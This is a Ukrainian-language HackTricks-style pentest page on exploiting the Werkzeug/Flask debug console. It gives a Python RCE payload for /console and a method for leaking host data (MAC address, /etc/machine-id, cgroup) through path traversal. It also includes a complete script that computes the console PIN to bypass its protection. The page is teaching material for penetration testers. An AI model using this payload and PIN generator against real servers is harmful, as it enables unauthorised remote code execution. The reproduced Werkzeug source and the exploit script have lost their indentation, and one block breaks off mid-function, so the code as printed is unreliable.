Werkzeug / Flask Debug

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Миттєве налаштування для оцінки вразливостей та тестування на проникнення. Виконайте повний пентест з будь-якого місця за допомогою 20+ інструментів та функцій, які охоплюють рекон, звітність. Ми не замінюємо пентестерів - ми розробляємо власні інструменти, модулі виявлення та експлуатації, щоб дати їм можливість краще досліджувати, виконувати команди та насолоджуватися.

Консольне RCE

Якщо ввімкнено режим налагодження, ви можете спробувати отримати доступ до /console та отримати RCE.

__import__('os').popen('whoami').read();

Також у Інтернеті є кілька експлойтів, таких як цей або один у metasploit.

Захищено пін-кодом - Обхід шляху

У деяких випадках /console кінцева точка буде захищена пін-кодом. Якщо у вас є вразливість файлового обходу, ви можете витікати всю необхідну інформацію для генерації цього пін-коду.

Експлойт PIN консолі Werkzeug

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Повідомлення щодо сценарію "заблоковано консоль" зустрічається при спробі отримати доступ до інтерфейсу налагодження Werkzeug, що вказує на необхідність ПІН-коду для розблокування консолі. Рекомендується використовувати уразливість консолі, аналізуючи алгоритм генерації ПІН-коду в файлі ініціалізації налагодження Werkzeug (__init__.py). Механізм генерації ПІН-коду можна вивчити з сховища вихідного коду Werkzeug, проте рекомендується отримати фактичний код сервера за допомогою уразливості обходу файлів через можливі розбіжності версій.

Для використання ПІН-коду консолі потрібні два набори змінних: probably_public_bits та private_bits:

probably_public_bits

  • username: Вказує на користувача, який ініціював сеанс Flask.

  • modname: Зазвичай позначається як flask.app.

  • getattr(app, '__name__', getattr(app.__class__, '__name__')): Загалом розгортається в Flask.

  • getattr(mod, '__file__', None): Представляє повний шлях до app.py у каталозі Flask (наприклад, /usr/local/lib/python3.5/dist-packages/flask/app.py). Якщо app.py не застосовний, спробуйте app.pyc.

private_bits

  • uuid.getnode(): Отримує MAC-адресу поточного комп'ютера, з str(uuid.getnode()) перетворюючи її у десятковий формат.

  • Для визначення MAC-адреси сервера потрібно ідентифікувати активний мережевий інтерфейс, використаний програмою (наприклад, ens3). У випадках невизначеності витік /proc/net/arp, щоб знайти ідентифікатор пристрою, а потім витягніть MAC-адресу з /sys/class/net/<ідентифікатор пристрою>/address.

  • Перетворення шістнадцяткової MAC-адреси на десяткову можна виконати, як показано нижче:

# Приклад MAC-адреси: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): Об'єднує дані з /etc/machine-id або /proc/sys/kernel/random/boot_id з першим рядком /proc/self/cgroup після останнього слеша (/).

Код для `get_machine_id()`

```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

Після збору всієї необхідної інформації, можна виконати скрипт використання для генерації підключення до консолі Werkzeug:

Після збору всієї необхідної інформації, скрипт використання може бути виконаний для генерації підключення до консолі Werkzeug. Скрипт використовує зібрані `probably_public_bits` та `private_bits` для створення хешу, який потім проходить подальшу обробку для створення кінцевого PIN-коду. Нижче наведено код Python для виконання цього процесу:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Цей скрипт створює ПІН, хешуючи об'єднані біти, додаючи конкретні солі (cookiesalt та pinsalt), та форматуючи вихідні дані. Важливо зауважити, що фактичні значення для probably_public_bits та private_bits потрібно точно отримати з цільової системи, щоб забезпечити відповідність створеного ПІНу очікуваному в консолі Werkzeug.

Якщо ви використовуєте стару версію Werkzeug, спробуйте змінити алгоритм хешування на md5 замість sha1.

Посилання

Миттєве налаштування для оцінки вразливостей та тестування на проникнення. Запустіть повний пентест з будь-якого місця за допомогою 20+ інструментів та функцій, які охоплюють реконструкцію, звітність. Ми не замінюємо пентестерів - ми розробляємо власні інструменти, модулі виявлення та експлуатації, щоб дати їм можливість краще досліджувати, виконувати команди та отримувати задоволення.

Last updated